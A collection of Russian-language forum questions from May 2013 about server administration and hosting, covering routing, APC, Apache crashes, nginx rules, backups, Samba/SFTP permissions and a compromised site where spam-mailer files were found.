То к серверу по IP A.A.A.B достучатся можно а вот по IP B.B.B.C в основном нет. Хотя если звезды правильно светят то иногда получается. Такое ощущение что оно пытается отправить ответ через первый шлюз хотя должно это делать через второй.

таблица роута такая получается
B.B.B.N 0.0.0.0 N.N.N.N U 0 0 0 eth0 A.A.A.B 0.0.0.0 N.N.N.N U 0 0 0 eth0 0.0.0.0 B.B.B.B 0.0.0.0 UG 0 0 0 eth0 0.0.0.0 A.A.A.A 0.0.0.0 UG 0 0 0 eth0

Гугл подсказывает что 2 шлюза не делается в /etc/network/interfaces, а нужно route писать. Пробовал писать… все становится еще хуже. Если прописать в interfaces gateway то так второй ip хоть иногда отвечает.

Может подсказать кто-то как повесить 2 IP с разных подсетей на 1 интерфейс. Заранее спасибо за любую помощь.

PS. Гуглил более 4 часов.
 

2013.05.10, 13:34:15   #Хостинг - #39845


Здравствуйте, коллеги и товарищи.


Имеем веб-сервер на CentOS 6.3 для хостинга ряда сайтов на Drupal (в основном, седьмой версии), куда накатан традиционный LAMP + nginx в роли обратного прокси. В качестве прекомпилера для PHP использовался APC. На сервере порядка 100 живых сайтов, высокой нагрузки — нет.


Большинство сайтов на веб-сервере появилось недавно, до этого было 5-6 сайтов и всё работало хорошо (с тем же самым APC). Но когда пришло много сайтов (при этом все новички — слабые, по 100 хостов в сутки) мы начали замечать периодические тормоза: один и тот же сайт загружался то нормально, то с затупом (и однозначно затуп воспроизвести не удавалось). Но когда сайты начали выстреливать нотисами типа Unable to allocate memory for pool... — виноватого нашли, им оказался APC (т.е., наверное, не он сам, а наши несовершенные дефолтные конфиги, но тем не менее).


Ситуация развивалась вот так:




Возня с настройками сводилась в основном к apc.shm_*, но ситуацию с нагрузкой на процессор — это не решало.


Полный конфиг на момент отключения был таков:

Конфигурация APC# cat /etc/php.d/apc.ini ; Enable apc extension module extension = apc.so ; Options for the APC module version >= 3.1.3 ; See http://www.php.net/manual/en/apc.configuration.php ; This can be set to 0 to disable APC. apc.enabled=0 ; The number of shared memory segments to allocate for the compiler cache. apc.shm_segments=1 ; The size of each shared memory segment, with M/G suffixe apc.shm_size=6144M ; A "hint" about the number of distinct source files that will be included or ; requested on your web server. Set to zero or omit if you are not sure; apc.num_files_hint=2048 ; Just like num_files_hint, a "hint" about the number of distinct user cache ; variables to store. Set to zero or omit if you are not sure; apc.user_entries_hint=4096 ; The number of seconds a cache entry is allowed to idle in a slot in case this ; cache entry slot is needed by another entry. apc.ttl=28800 ; use the SAPI request start time for TTL apc.use_request_time=1 ; The number of seconds a user cache entry is allowed to idle in a slot in case ; this cache entry slot is needed by another entry. apc.user_ttl=28800 ; The number of seconds that a cache entry may remain on the garbage-collection list. apc.gc_ttl=3600 ; On by default, but can be set to off and used in conjunction with positive ; apc.filters so that files are only cached if matched by a positive filter. apc.cache_by_default=1 ; A comma-separated list of POSIX extended regular expressions. apc.filters = "-(.*)\.tpl\.php$, -(.*)/apc\.php$" ; The mktemp-style file_mask to pass to the mmap module apc.mmap_file_mask=/tmp/apc.XXXXXX ; This file_update_protection setting puts a delay on caching brand new files. apc.file_update_protection=2 ; Setting this enables APC for the CLI version of PHP (Mostly for testing and debugging). apc.enable_cli=0 ; Prevents large files from being cached apc.max_file_size=1M ; Whether to stat the main script file and the fullpath includes. apc.stat=1 ; Vertification with ctime will avoid problems caused by programs such as svn or rsync by making ; sure inodes have not changed since the last stat. APC will normally only check mtime. apc.stat_ctime=0 ; Whether to canonicalize paths in stat=0 mode or fall back to stat behaviour apc.canonicalize=0 ; With write_lock enabled, only one process at a time will try to compile an ; uncached script while the other processes will run uncached apc.write_lock=1 ; Logs any scripts that were automatically excluded from being cached due to early/late binding issues. apc.report_autofilter=0 ; RFC1867 File Upload Progress hook handler apc.rfc1867=0 apc.rfc1867_prefix =upload_ apc.rfc1867_name=APC_UPLOAD_PROGRESS apc.rfc1867_freq=0 apc.rfc1867_ttl=3600 ; Optimize include_once and require_once calls and avoid the expensive system calls used. apc.include_once_override=0 apc.lazy_classes=0 apc.lazy_functions=0 ; Enables APC handling of signals, such as SIGSEGV, that write core files when signaled. ; APC will attempt to unmap the shared memory segment in order to exclude it from the core file apc.coredump_unmap=0 ; Records a md5 hash of files. apc.file_md5=0 ; not documented apc.preload_path

В итоге, APC деактивировали совсем. Пропали затупы сайтов, разгрузился процессор. «На глаз» мы не видим более медленной работы сайтов, а потому до выяснения обстоятельств оставили сервер совсем без акселератора.


Коллеги, поделитесь, пожалуйста, опытом по теме (можно и горьким тоже) и подскажите в какую сторону крутить конфиги APC?
 

2013.05.12, 23:20:10   #Системное администрирование - #39971


Имеется сервер на FreeBSD 8.0 с Apache 2.2.23, PHP 5.4.10 и nginx 1.2.6. Соответственно, сначала стоит nginx, за ним Apache. Проблема в том, что стабильно раз в несколько дней падает Apache после ротации логов. Ротация логов выполняется с помощью logrotate с примерно таким конфигом:
"/usr/home/mysite/logs/*.log" "/var/log/*-error.log" "/var/log/*-access.log" { su root www daily rotate 7 compress ifempty missingok nomail prerotate /usr/local/www/awstats/tools/awstats_updateall.pl now -awstatsprog=/usr/local/www/awstats/cgi-bin/awstats.pl endscript postrotate /usr/bin/killall -HUP httpd endscript sharedscripts }

После ротации в старом error.log:
[Mon May 13 00:01:03 2013] [notice] SIGHUP received. Attempting to restart

В новом:
[Mon May 13 00:01:03 2013] [notice] Digest: generating secret for digest authentication ... [Mon May 13 00:01:03 2013] [notice] Digest: done [Mon May 13 00:01:05 2013] [notice] Apache/2.2.23 (FreeBSD) PHP/5.4.10 configured -- resuming normal operations [Mon May 13 00:01:06 2013] [notice] child pid 88614 exit signal Segmentation fault (11), possible coredump in /usr/local [Mon May 13 00:01:06 2013] [notice] child pid 88613 exit signal Segmentation fault (11), possible coredump in /usr/local [Mon May 13 00:01:06 2013] [notice] child pid 88612 exit signal Segmentation fault (11), possible coredump in /usr/local ... [Mon May 13 00:02:48 2013] [notice] child pid 88818 exit signal Segmentation fault (11), possible coredump in /usr/local [Mon May 13 00:02:49 2013] [notice] child pid 88884 exit signal Segmentation fault (11), possible coredump in /usr/local [Mon May 13 00:02:49 2013] [notice] child pid 88883 exit signal Segmentation fault (11), possible coredump in /usr/local [Mon May 13 00:02:50 2013] [notice] caught SIGTERM, shutting down

В /usr/local/ создается файл httpd.core весом около 16 мегабайт.

Если после этого просто запустить Apache — он начинает дико жрать оперативку и проц. Если перезагрузить весь сервер — все работает нормально.

Как это можно исправить? Куда вообще копать?
 

2013.05.13, 08:17:13   #Серверы - #39981


Приветствую!
Сравнительно недавно обнаружил данный продукт.
Все отлично и замечательно по описанию и на видео, но цена очень расстраивает.
Интересуют Open Source аналоги или решения подешевле.
 

2013.05.13, 14:47:06   #Системное администрирование - #40009


Ситуация такая. На компе с ОС Ubuntu 12.04 сделал экспорт виртуалки из VirtualBox v. 4.1.20 в VmWare v. 9.0.0 build-812388 по этому мануалу. После экспортирования виртуалка работает нормально, но периодически сама в suspend уходит. Пока использую костыль: через cron делаю перезапуск каждые 5 мин таким образом:

/usr/bin/vmrun -T ws -gu -gp start "/media/Data_1/BugServer/BugServer.vmx" nogui

Если она работает — остаётся работать. А если в suspend — восстанавливается. Но хотелось бы избавиться от этой проблемы и от костыля этого.
 

2013.05.14, 08:52:39   #Хостинг - #40047


Доброго времени суток!

Залил и настроил сайт на Amazon S3. Прблема заключается в очень низком аптайме сайта.

Яндекс. Метрика очень часто выдает ошибки Internal Server Error (Name or service not known), хотя 200 OK тоже бывает, но реже.

Проверял сайт сторонними сервисами проверки доступности — показывает доступность 50% серверов.

Корзина находится в Ирландском ДЦ. Файл robots создан и доступ роботам яндекса предоставлен.

Заранее спасибо за помощь.
 

2013.05.14, 15:31:25   #Серверы - #40077


Собственно вот. Нужен по идее будет гибридный DVR (тут я имею ввиду чтоб и ip потоки и аналоговые умел) если такие есть конечно. И интересует вопрос видеосервера ( железного желательно, но подойдет и софтверное решение )

Нужно надежное и бюджетное. FullHd совсем не обязательно.
 

2013.05.15, 12:04:44   #Системное администрирование - #40137


Хабр, такое дело. Недавно поставил себе BackupPC. Цель — бекап vps (по ssh) и сервера (по sftp) себе на домашний сервер.

Вот только всё установкой BackupPC и закончилось. Никак не могу разобраться и понять как же настроить бекап. А манов в сети, где описывается полный процесс, просто нет.

Может кто-то помочь с настройкой бекапа по шагам? А то никак не получается. :(
 

2013.05.15, 12:19:06   #Серверы - #40141


Столкнулся со следующей проблемой: у нас несколько сайтов на VPS-хостинге (оператор Agava). Под управлением IpsManager. В IspManager есть возможность настроить резервное копирование файлов сайта, баз данных и т.д. В данный момент у нас резервное копирование делается на ftp-сервер на том же хостинге. Но хотелось бы на всякий пожарный сделать так, чтобы резервные копии сохранялись на какой-нибудь другой сервер, не агавовский. И в принципе такая настройка там есть, можно задать данные любого ftp-сервера. Но наши бекапы занимают гигабайты и покупать еще один хостинг для их хранения как-то напряжно.
Хотел узнать у знающий людей, не существует ли каких механизмов для настройки резервного копирования на одно из облачных хранилищ, типа Dropbox, Skydrive, Яндекс.Диск и т.д.?

И еще такой вопрос: при настройке резервного копирования можно отметить что именно копировать: системные файлы, пользовательские данные, база данных mysql, настройки панели. Понятно что надо обязательно часто резервировать базы данных. А вот что насчет системных файлов и пользовательских данных. А сами сайты (т.е. файлы сайтов) — это что? Пользовательские данные? И есть ли смысл резервировать системные файлы и настройки панели?
 

2013.05.15, 12:25:27   #Системное администрирование - #40143


Здравствуйте.


Есть желание поднять в Linux то, что во FreeBSD достигается с помощью CARP и ARP-балансировки.


Цитата с Opennet:

ARP balancing работает путем наложения hash-функции на MAC адрес

источника для определения VHID, который должен ответить на запрос. На

запрос ARP ответит только тот хост, который является master-ом для

данного VHID. ARP load balancing может быть включена через ifconfig(8),

установив значение «arp» функции балансировки


Ucarp не умеет (неудивительно, он работает в юзерспейсе). keepalived, heartbeat и прочие похожие службы тоже не умеют, потому что они не повлияют на поведение arp. Iptables clusterip — тоже не подходит, потому что к каждому узлу приходит ВЕСЬ трафик, просто часть его игнорируется. IPVS тоже не подходит, поскольку через один узел при любом режиме проходит весь трафик минимум в одну сторону.


В FreeBSD CARP ядерный, поэтому там он умеет пинать еще и ARP.


Есть ли в Linux что-то подобное?
 

2013.05.15, 20:43:13   #Хостинг - #40177


Товарищи! Настигла меня страшная напасть, в последнюю неделю у меня ежедневно падает онлайн сервис. Два — три раза. (Нет, меня не ддосят). Я пользуюсь услугами sweb.ru, тариф самый дешевый за 250 рублей. Понимаю, что за такие деньги могут быть какие то косяки, но не все же время… Хотя, должен признать, что в чинят они все довольно быстро, максимум 30-40 минут. Проблема не в скриптах (до недавнего времени все работало) и не в нагрузке (она ниже плинтуса, всего то 100 посетителей за день, при том не особо активных). Админы говорят что это временные проблемы. Но они длятся уже неделю, что то совсем не временно.

Возникает вопрос, куда переехать, что бы такого не было?

Требования минимальные:
— MySQL InnoBD
— Cron с возможностью запускаться раз в минуту
— Канал на 100 мбс
— И ресурсы достаточные для обработки максимум 5 запросов в секунду (пик нагрузки) с 2-3 простецкими запросами к БД

Или, хотя бы как настроить свои страницы для ошибок 5xx? Видел такие на нескольких сайтах, но как этого достичь не знаю. Обычная настройка .htaccess работает только с < 500 ошибками.
 

2013.05.16, 13:44:35   #Системное администрирование - #40213


Добрый день!

Есть сервер на Windows Server 2008 R2 привязанный к ip 188.40.38.10. Есть свободный ip 188.40.38.11. На сервере есть виртуалка CentOS 6.4 на VirtualBox.

Маска подсети: 255.255.255.192
Шлюз: 188.40.38.193

На сервере есть два сетевых соединения: локальное и соединение виртуалбокса.

Что нужно:
Из интернета видеть виртуальную машину. Из виртуальной машины видеть интернет (с нее сейчас не пингуется даже хост).
Собственно, вопрос — что и где нужно прописать / установить, чтобы решить эти проблемы (Что прописать в соединении вируталбокса? Что прописать в самой CentOS? Проблема в файерволлах?).

Перелистал пол-интернета, попробовал много разных советов, но так и не решил проблему. Спасибо.

Уровень моей осведомленности в этой сфере, как вы понимаете, посредственный.
 

2013.05.17, 00:37:09   #Хостинг - #40247


Вкратце. Мой папа — учитель музыки. Где-то год назад он начал записывать видеоуроки фортепиано по собственной авторской методике. Он связался с одним человеком, который загорелся желанием создать сайт, взять на себя администрирование и начать раскручивать его видеоуроки с целью заработать денег. Мне еще на начальном этапе как-то не очень всё нравилось, но ладно, думаю, что может случиться плохого?

А случилось вот что — этот горе-администратор все нервы вымотал и папе, и мне (мне тоже пришлось вникать в ситуацию). Под видеоуроками есть комментарии, где ученики могут общаться с учителем — он лезет туда и, внимая себя учителем, даёт совершено идиотские советы). Размещает какие-то составленные им материалы (естественно, всё это — полнейшая чушь; представьте школьника, только-только изучившего азы паскаля и взявшегося писать учебник по паскалю, абсурд?).

Результат: отношения с администратором прекращены, ни копейки с сайта не получено, но сайт продолжает жить и этот человек на нём зарабатывает, на рекламе и платных видеоуроках (их выпущено 12 штук). Продолжает общаться с учениками от имени учителя, а посетители-то не знают этого, думают, им отвечает учитель.

Решили с папой создать собственный маленький сайт, посвященный его творчеству, где разместить всё бесплатно и без рекламы. Без цели заработать. Всё же основная цель — «окультурить население» и донести его (папину) методику преподавания музыки до как можно большего числа людей. Сайт создали, разместили все уроки бесплатно.

Теперь, собственно, суть проблемы: из-за того, что «тот» сайт был создан раньше, он сильнее раскручен и люди его находят в поисковиках с большей вероятностью, чем наш (не смотря на то, что у нас всё бесплатно, и уроков уже выпущено в полтора раза больше и регулярно публикуются новые).

Задача: «перенаправить» аудиторию с чужого сайта на наш или каким-то образоми донести до этой аудитории, что все уроки бесплатные и что не надо платить какому-то администратору за них, а надо приходить к нам, где сидит живой учитель, который отвечает на вопросы и публикует новые уроки.

Как поступить? В планах подача жалобы на YouTube, но делу это не сильно поможет — весь платный контент тот администратор хранит на сервере и воспроизводит через собственный плеер, что вполне логично. Есть ли какие-то варианты обратиться, например, к поисковикам (к Яндексу хотя бы), чтобы они вникли в ситуацию и понизили плохой сайт в выдаче? Стоит ли писать хостеру? (Хостер, вроде, reg.ru). К особо решительным мерам (подать в суд) обращаться не хотелось бы, это куча времени и нервов, папа лучше будет творчеством заниматься…

Если надо (и/или если интересно) — ссылки на оба сайта могу предоставить. Сразу их не даю, чтоб вы не сочли этот пост за скрытую рекламу.

Спасибо.
 

2013.05.18, 12:42:04   #Системное администрирование - #40329


Здравствуйте, етсь у меня сервер на дебиане, на нем стоит exim4, вся почта редиректится на один ящик, т.е. можно отправлять письма на ***domain.com и все они складываются в одно место. Домен хостится на godaddy, чтобы правильно шла почта, сделал такие записи:

A (Host)
@ IP

CNAME (Alias)
imap @
mail @
pop @
smtp @

MX (MailExchanger)
0 @ @

В exim-конфиге есть пункт:

collector_router:
driver = redirect
domains = MYDOMAIN.org
data = root@mail.MYDOMAIN.org

Все это работает, но проблема в том, что нужно добавить еще один домен в эту кучу, чтобы любая почта на него редиректилась на этот сервер. Записи для нового домена сделал такими:

imap MYDOMAIN.ORG
mail MYDOMAIN.ORG
pop MYDOMAIN.ORG
smtp MYDOMAIN.ORG
MX:
0 @ @

С таким конфигом почта не перенаправляется. Я думаю причиной тому MX-запись, там невозможно прописать доменное имя, оно пересохраняет в @.

Подскажите, так ли это, и что нужно добваить в exim, чтобы он подцепил еще один домен.
 

2013.05.18, 16:39:50   #Системное администрирование - #40333


Условия. Есть большой офис, внутри доменная сеть. Также организован шлюз RDP для возможности работать удалённо при необходимости. У шлюза свой сертификат. Корневой выдают администраторы, который надо установить на клиентском компьютере в корневое хранилище. Авторизация на шлюзе – через ту самую доменную учётную запись (логин-пароль)
Проблема. Не получается подключиться к этому самому RDP. Судя по проведённым тестам, подключение отклоняет шлюз. Пробовал google, практически ничего не нашёл. Найденные мелкие советы не помогли. Системный брандмауэр отключён в принципе, антивирус отключал. Убивал все процессы, кроме системных. Даже ставил виртуальную систему с другой ОС – результат тот же. При том, когда обращался к админам – они при мне подключались через мою учётную запись со своего удалённого компьютера. Всё работает. Насчёт поднятия логов шлюза пока админов не дёргал, решил попробовать разобраться своими силами. Не пробовал в безопасном режиме, не пробовал с другого компьютера с другой ОС. Просмотреть траффик не получилось. По порту 3389 уходит только несколько пакетов, больше похожих на ping.

Пробовал подключаться с двух разных компьютеров, которые территориально находятся совсем в разных местах (разные провайдер, IP и пр.). На обеих стоит Windows 7 x64 uk-UA (без SP, без обновлений), оба настраивались и используются мной. Нет даже предположений, в чём проблема. Какой-то софт, либо сделанные мной настройки, или ещё что.

Ну и, собственно, вопрос. Что не так и что делать? Как локализовать проблему? Чем мои компьютеры так уникальны и не нравятся шлюзу?
 

2013.05.18, 23:16:23   #Серверы - #40349


Давно изучаю вопрос домашнего сервера (в том числе регулярно просматриваю Q&A на хабре), а вопрос все больше и больше. Раньше использовал роутер+дешевенький nas+внешний диск в качетве небольшого файлового сервера/торренто качалки дома. Сейчас собрался собирать новый домашний сервер — появилась необходимость в новых функциях/
Итак, функции для домашнего сервера:

1. Торрентокачалка.
2. файлообменный сервер.
3. Медиасервер для фильмов и фотографий с фотоаппарата.
4. Хочется чтобы вращалось на Linux в силу возможности гибкого конфигурирования.
5. Возможность орагнизовать автоматический регулярный бэкап некоторых папок на сервере (требование совсем не обязательное, так как это конечно сделать программно скриптами под linux как дешевый и сердитый бэкап, но просветите по вопросу бэкапа — может поддержка RAID для зеркалирования записываемых данных?).

Это порождает следующие требования для аппаратной части.

1. Возможность подключить хотя бы пару HDD (для наращивания дискового пространства, и/или возможность хранить бэкап на физически изолированном носителе).
2. WiFi (b/g/n совсем не хочу от роутера тянуть провод).
3. SD кардридер для карточки фотоаппарата или достаточно usb портов чтобы его подключить.
4. Достаточный процессор, чтобы воспроизводить фильмы в хорошем качестве (сейчас вроде хорошим качеством считается FullHD?) на телевизоре.
Собираюсь так же брать новый телевизор, поэтому есть второй вариант: телевизоры сейчас, как я понимаю, сами могут выступать в качестве медиаплееров, т.е. брать на себя процесс декондинга. Насколько этого хватает? Может нет смысла гнаться за мощность для домашнего сервера в этом аспекте? Так же для телевизора, первая мысль брать телевизор с Wifi, хватит ли Wifi канала домашней сети для реалтайм воспроизведения фильмов в хорошем качестве? роутер держит b/g/n, как я понимаю это 54Mb/s в пределе. В этом пунтке в общем самая большая неопределенность.
5. Минимальное энергопотребление, небольшие габариты, пассивное охлаждение.
6. Как водится подешевле.:)

Вот такие требования. Смотрю в основном на мини-ПК аля Miniand, CuBox, Raspberry PI, но здесь проблема с полноценным подключения HDD к ним: sata есть только у CuBox вроде не должно стать узким место, но для питания HDD не знаю что придумать — нужен какой то внешний кейс который будет подключаться к miniPC по sata, не знаю есть ли такие, к тому же у CuBox нет Wifi, можно решить внешним usb адаптером, но может есть что-то уже и с sata и с wifi.
 

2013.05.19, 05:59:10   #Системное администрирование - #40351


Как можно вычислить (или предположить) минимальное количество автономных систем между двумя IP-адресами в Linux или с какой-либо библиотекой и fullview таблицой BGP (или RIPN)? Нужно для p2p системы, в которой для запрашеваемого пира ищется наиболее близкий сосед из роя сети исходя из топологии сети Интернет. Пиры из одной автономной системы должны иметь наименьшее значение этой метрики.
 

2013.05.20, 15:38:00   #Серверы - #40421


Есть два офиса в одном и том же здании. Между собой соединены кабелем через сеть провайдера (т.е. нужно шифровать трафик между этими 2-мя офисами, т.к. нет доверия к сети).

В первом офисе есть проводная сеть на 10 компьютеров. Во втором офисе также есть сеть на 10-15 компьютеров, но через Wi-Fi.

В каждый офис приходит интернет по кабелю. Интернет и каждую локальную офисную подсеть нельзя соединять в одну сеть.

Хотелось бы какое-то аппаратное решение, которое выполнит следующие задачи:
1) соединить между собой два офиса, и организовать шифровку трафика
2) в каждом офисе получить интернет из приходящего от провайдера отдельного кабеля, и раздать его всем компьютерам в сети именно этого офиса
3) железяка должна позволять редактировать файлы через samba (например) с авторизацией и разграничением доступа
4) железяка должна уметь быть веб-сервером с MySQL базой данных и поддерживать одновременную работу 10-20 человек

P.S. В данный момент не хотелось бы использовать обычные сервера на Linux. Хочется автономные железяки, которые легко настроить и поддерживать.

Что-то вроде этого решит задачу: catalog.onliner.by/qnap/qnapts419p/?

P.P.S. Очень желательно, чтобы это можно было купить в Минске.
 

2013.05.21, 18:04:14   #Системное администрирование - #40487


Имеется RT-N56U с вот этой вот прошивкой: code.google.com/p/rt-n56u/
Установил uMurmur (Mumble-сервер), очень удобно, всего под несколько человек идеальный выбор, работает замечательно и систему не нагружает. Но тут не без проблем, судя по всему, софт роутера ставит низкий приоритет в скорости для самого себя, таким образом, если я через эту точку доступа что-то качаю, то скорость упирается в потолок и под Murmur ничего не остается. Разговаривать в нем в этот момент невозможно. И это все при том, что провайдер предоставляет честные 100/100Mbit/s, а uMurmur требует всего ничего (48*n Kbit/s, где n — количество клиентов). Так вот, роутер работает под немного кастрированным линуксом, но SSH-доступ, как и менеджер пакетов (полноценный opkg) присутствуют.
Погуглил, ничего об этом не нашел. Какие могут быть решения? Идеально подойдет, допустим, ограничение скорости для клиентов до 90mbit, погоды не сделает.
Заранее огромное спасибо!
 

2013.05.21, 20:59:26   #Системное администрирование - #40497


Добрый день!


Для свободной (open-source) операционной системы KolibriOS (www.kolibrios.org) на сервере существует авто-сборка (auto-build) после каждого коммита. Эта авто-сборка автоматически создаёт IMG + ISO файлы, которые можно записать на дискету / флешку / CD, или запустить в виртуальной машине. Но нам хотелось бы также предоставить пользователям возможность запускать этот IMG / ISO файл в виртуальной машине прямо через браузер.


Поскольку неизвестно, сколько в каждый конкретный момент людей захотят попробовать этот IMAGE, хотелось бы, чтобы для каждого желающего создавалась отдельная виртуальная машина on-demand (т.е. при нажатии пользователем линка «сделать виртуальную машину»), а при отключении пользователя (или, скажем, неактивности выше 30 минут), эта виртуальная машина «убивалась». Иными словами, чтобы каждый юзер имел свою виртуальную машину, независимую от других юзеров, и работало это из браузера (т.е. чтобы юзерам не нужно было устанавливать виртуальную машину на компьютер).


Давно ищу ответ на такой вопрос, но поиск в Гугле всё время выдаёт не то, что я хочу. Возможно, потому что то, что я хочу вообще не существует, и возможно, потому что то, что я хочу, называется по-другому, и поэтому я не могу его найти. Если ищу "Virtual Machine on Demand", то выдаёт всякие сайты клауд-хостинга, где я могу создать себе ещё одну виртуальную машину у них, но с их операционкой, естественно. Если ищу "Virtual Machine in Browser", то нахожу такие виртуальные машины, которые можно запускать прямо из браузера, но ни слова об «on-demand». Буду очень рад, если кто-то знает/слышал/пользовался подобным решением.
 

2013.05.21, 23:35:24   #Системное администрирование - #40511


Всем привет.


Задача такая.


Имеется система Ubuntu 12.04 LTS, на которой необходимо создать некоторую папку, куда могут писать все, находящиеся в локальной сети. Клиенты — Windows. Очевидно, что надо делать под Самбу.


Также необходимо обеспечить удалённый доступ к этой папке по SFTP.


Реализовано так:

1. Поднят SFTP, как указано здесь: solderintheveins.co.uk/2011/03/ubuntu-sftp-only-ac...

Маленькое изменение:
Subsystem sftp internal-sftp -u 0000

2. В папке /home/intdon/Share (владелец mitya группа sftponly) создана папка Stuff с различными файлами (владелец — grisha группа administrator, права rwxrwxrwx).

3. Поднята Samba, шара в smb.conf такая:



[Share]

path = /home/mitya/Share

writeable = yes

guest ok = yes

create mask = 0000

directory mask = 0000


По umask'у — сознательно хочу выдавать rwxrwxrwx, чтобы не морочить голову с правами доступа по sftp и samba. Права доступа в локалке некритичны, пусть пишут и творят, что хотят, права доступа по удалёнке ограничатся авторизацией по SFTP — так что вроде как дырки в безопасности нет.


Проблема следующая: Samba пока что не тетсировал (нахожусь удалённо), но SFTP упорно игнорирует -u 0000 — права пишутся по умолчанию. В итого — имею очевидную проблему: файлы и папки, создаваемые удалённо, нельзя будет редактировать и удалять из локальной сети.


Что не так и куда копать? Версия sshd и маны говорят о том, что опция -u поддерживается…


ЧЯДНТ???

Upd: Похоже, некий образец решения найден: sysadmin.circularvale.com/server-config/setting-a-...

Проблема в другом: директории после такого подхода имеют нужные права (rwxrwxrwx), однако файлы — нет (rw-rw-rw-).
 

2013.05.22, 08:23:02   #Серверы - #40523


Приветствую,
кто сталкивался, подскажите адекватных поставщиков Dell или HP в Риге или Латвии в целом.
Спасибо!
 

2013.05.23, 13:12:40   #Системное администрирование - #40597


Добрый день,


Имеется следующая структура папок для основного хоста в nginx (/usr/share/nginx/www/):

install1/
-- app
-- config
-- data
install2/
-- app
-- config
-- data
installN/
-- app
-- config
-- data
other/

Нужно написать правило для nginx, которое будет блокировать доступ в app/, config/ и data/ подпапки каждой папки в верхнем уровне.


Текущее правило такое:
location ~* /app/ { deny all; }

но оно блокирует app папки на любом уровне, а не только на втором.


Как сделать правило верно?
 

2013.05.23, 18:42:18   #Системное администрирование - #40625


Помогите, уже пол-дня бьюсь, но пока никак.


Есть основной хост nginx, а в нем куча папок в каждой из которых установлена копия проекта. Проект требует реврайты, например test.domain.com/project1/login/ должно работать нормально.


Текущий конфиг такой:

server { listen 80 default_server; server_name _; server_name_in_redirect off; root /usr/share/nginx/default; } server { listen 80; ## listen for ipv4; this line is default and implied root /usr/share/nginx/www; index index.php index.html index.htm; server_name test.domain.com; location / { try_files $uri $uri/ @handler; expires 30d; } ## These locations would be hidden by .htaccess normally location ~* ^/.*/lib/ { deny all; } location ~* ^/.*/cache/ { deny all; } location /. { return 404; } location @handler { rewrite / /index.php; } location ~ .php/ { ## Forward paths like /js/index.php/x.js to relevant handler rewrite ^(.*.php)/ $1 last; } location ~* \.php$ { if (!-e $request_filename) { rewrite / /index.php last; } try_files $uri =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/tmp/php5-fpm.sock; fastcgi_index index.php; include fastcgi_params; } location ~ /\.ht { deny all; } }

Как сделать чтобы реврайты работали для подпапок? Сейчас выдает 500 ошибку.
 

2013.05.26, 16:34:21   #Системное администрирование - #40765


Встала задача выполнить определенный набор действий при подключении USB модема. Сам VBS скрипт действий уже есть, но вот встроить в него отслеживание подключения модема не получается (чайник я). Нашел в сети много аналогичных примеров для флеш-дисков, но все мои попытки переделать их для модема не увенчались успехом. Сейчас использую связку USB Safely Remove + мой скрипт, но хочется сделать все в одном, чтобы не использовать сторонних утилит. Буду благодарен за пример VBS скрипта, который мониторит подключение/отключение определенного USB девайса.
 

2013.05.26, 19:09:39   #Системное администрирование - #40771


Приветствую! У меня есть проблема и я не знаю как её решить. Прошу помощи у тех кто разбирается.

У меня есть роутер (ZyXel Keenetic), к которому подключена Yota. Этот роутер подключён в сеть (через свитч), где есть ноутбук, притнер, hdd хранилище.
В другой части дому у меня стоит ещё один роутер (TP-LINK WR741N), к которому идёт провод из сети первого. Ко второму роутеру по wi-fi подключён мой компьютер.

Как подключить второй роутер к сети первого? Что бы можно быто пользоваться интернетом, и принтером?

Возможно для этого не подходит мой второй роутер? Тогда что мне нужно купить что-бы настроить wi-fi сеть в другом конце дома?
Заранее спасибо.

 

2013.05.27, 00:52:09   #Хостинг - #40789


Добрый день.


Как то сайт перестал работать. Вроде понял — закончилось место на серваке, и база полетела, почистил загружаемые юзером файлы, востановил базу и все снова стало работатье.


Сегодня опять перестал работать, Думал опять файлы, полез на серверке, в корне нашел пять дней назад созданых файла — 12.php и goge.php по коду — похоже для рассылки почты и спама… в коде стретил такое
&lt;font color=red&gt;FakeSender by POCT&lt;/font&gt;&lt;br&gt; Special for &lt;a href=&quot;http://fuckav.ru&quot; target=&quot;_blank&quot;&gt;FuckAV.ru&lt;/a&gt;


Плюс днем несколько файлов удалилось из кода сайта, что он перестал работать… что делать?? Понять что поменять пароли — как проверить наличие залитого шелла (
 

2013.05.28, 09:03:12   #Серверы - #40843


Насколько рискованно в плане безопасности размещать на одном windows dedicated сервере crm-компании и сайт компании?
Стоит ли для сайта компании брать дополнительный выделенный ip?
 

2013.05.28, 15:46:19   #Системное администрирование - #40867


Добрый день, прошу помощи в одном вопросе, а то уже третий день бьюсь.


Есть компьютер с Win8 и двумя учетными записями admin и user. За компьютером работают с правами user. Есть необходимость запустить на этом компьютере ПО для записи видео с камер наблюдения(iSpy). Хочется обезопасить себя от ситуации, когда user удалит файлы с видео, которые создает ПО.

В самом ПО никаких возможностей разграничить доступ нет.


Пытался через планировщик задач сделать так, чтобы при старте компьютера под сессией admin запускался этот софт. Он стартурет, но всегда висит как background process. Пробовал в планировщик добавлять bat файл, который запустит ПО — аналогично — всегда висит как фоновая задача и не показывает GUI под учеткой администратора.


Хотел запустить ПО под сессией user, но с правами admin(через утилиту AdmiLink) и на уровне файловой системы запретить user изменять данные в директории, но в самом ПО есть возможность удалять записи, так что такой вариант не подходит.


Кажется, что задача вполне типовая, но что-то не получается ее решить. Может подскажите что-то?
 

2013.05.29, 12:08:13   #Системное администрирование - #40920


Всем привет!

У нас есть сервер, на нем крутится nginx + php-fpm + mysql.
Столкнулись с проблемой: вырос трафик, выросли нагрузки.
MySQL забивается от большого количества запросов, в следствии чего в медленные запросы начали попадать даже выборки по PRIMARY KEY.

Хотелось бы понять как возможно масштабировать систему, чтобы распределить нагрузку? Какие есть способы это сделать?
Заранее спасибо.
 

2013.05.30, 06:01:35   #Хостинг - #40964


Такая проблема. Прикупил хостинг у hostmonster.com, закинул туда сайт на Joomla и с ужасом наблюдаю за его работой. Оооочень медленно все загружается. По сути сайт работает на голой джумле, практически никаких левых компонентов там нет которые могли бы тормозить производительность. Да и вообще по всем признакам дело не в оптимизированности движка, дело именно в скорости передачи данных. Сам сайт вот. У меня этот же сайт загружается за секунду. Даже видео снял, как все работает на моем сервере и как на хостинге.
Неделя переписки с поддержкой ни к чему не привела. Говорят «меняй провайдера». Пробовал на разных провайдерах, результат везде один и тот же: все очень медленно.
На всякий случай вот результаты трассировки с рабочего и домашнего компьютера.
ТрассировкаС работы

Из дома

 

2013.05.31, 16:03:42   #Системное администрирование - #41082


Дано:
nginx на фронтэнде в качестве балансировщика.
jetty на бэкэнде.

Пользователи должны приходить на sub.domain.ru.
